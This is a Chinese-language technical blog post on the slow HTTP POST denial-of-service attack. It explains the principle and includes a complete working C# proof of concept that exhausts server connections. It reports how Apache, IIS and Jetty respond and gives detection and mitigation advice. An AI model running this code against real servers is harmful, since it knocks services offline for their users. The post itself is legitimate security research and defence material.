HTTP POST慢速DOS攻击初探

1. 关于HTTP POST慢速DOS攻击

HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上，由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里：

http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

这个攻击的基本原理如下：

针对任意HTTP Server，建立一个连接，指定一个比较大的content-length，然后以很低的速度发包，比如10-100s发一个字节，hold住这个连接不断开。如果客户端持续建立这样的连接，那么服务器上可用的连接将很快被占满，从而导致DOS.

这一攻击引起我注意的原因有这几点：

1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的，所以即使你的Web应用没有可用form表单，这个攻击一样有效。

2. 廉价。在客户端以单线程方式建立较大数量的无用连接，并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server，将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

2. 攻击示范

为演示这个攻击，我做了一个简单的POC，C#代码如下。

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
namespace HTTPPostDoS
{
class TestDemo
{
static void Main(string[] args)
{
string host = "target";
int port = 8080;
int max_number_of_connection = 3000;
List<TcpClient> clients = new List<TcpClient>();
for (int i = 0; i < max_number_of_connection; i++)
{
TcpClient client = new TcpClient();
clients.Add(client);
client.Connect(host, port);
if (client.Connected)
{
string header = "POST /a HTTP/1.1\r\n" +
"HOST: " + host + "\r\n" +
"Connection: keep-alive\r\n" +
"Keep-Alive: 900\r\n" +
"Content-Length: 100000000\r\n" +
"Content_Type: application/x-www-form-urlencoded\r\n" +
"Accept: *.*\r\n";
int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
if (sent <= 0)
{
Console.WriteLine("Error while connecting to server");
}
else
{
Console.WriteLine("Connected");
}
}
}
while (true)
{
int i = 0;
foreach (TcpClient client in clients)
{
i++;
client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
Console.WriteLine("Client " + i + " just sent a byte.");
}
Thread.Sleep(1000);
}
}
}
}

这段代码向目标服务器的示例Web Server发起攻击，每秒钟向服务器post一个字节以保证连接不会过期。

这个攻击对Apache的效果十分明显，Apache的maxClients几乎在瞬间被hold住，浏览器在攻击进行期间无法访问测试页面。

但是针对IIS的攻击被证明没有效果，同时我还测试了公司使用最多的Jetty，有了更多有意思的发现。

3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

在针对Jetty做测试时，我发现针对不同的Jetty Connector配置，攻击的效果有天壤之别。

我们知道Jetty在配置Connector时，可以有NIO和BIO两种模式供选择。当使用BIO模式时，Jetty的max thread被瞬间耗尽，服务停止。但是在使用NIO模式时，即使客户端的恶意socket连接数已经达到3000个，但是服务依然没有受到任何影响。这个应该很好理解，由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚，但是猜测MS在实现时采用了NIO Socket模型。

详细的配置情况，请参见Jetty的官方文档。

其它的Web Server，我没有做进一步测试。如有兴趣请自行验证。

4. 检测与防范

目前针对Apache服务器，官方尚没有解决方案出台。建议：

1. 检查日志，查找类似的错误报警：

[error] server reached MaxClients setting, consider raising the MaxClients setting

看看有没有被这种攻击盯上。

2. 调整防火墙设置。有条件的，在IPS上做一下规则设置。

注意这些都还只是暂时措施，因为这种攻击的变化可能很多，事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。

针对Jetty服务器，强烈建议使用NIO非阻塞模式，对服务器可以起到很好的保护作用。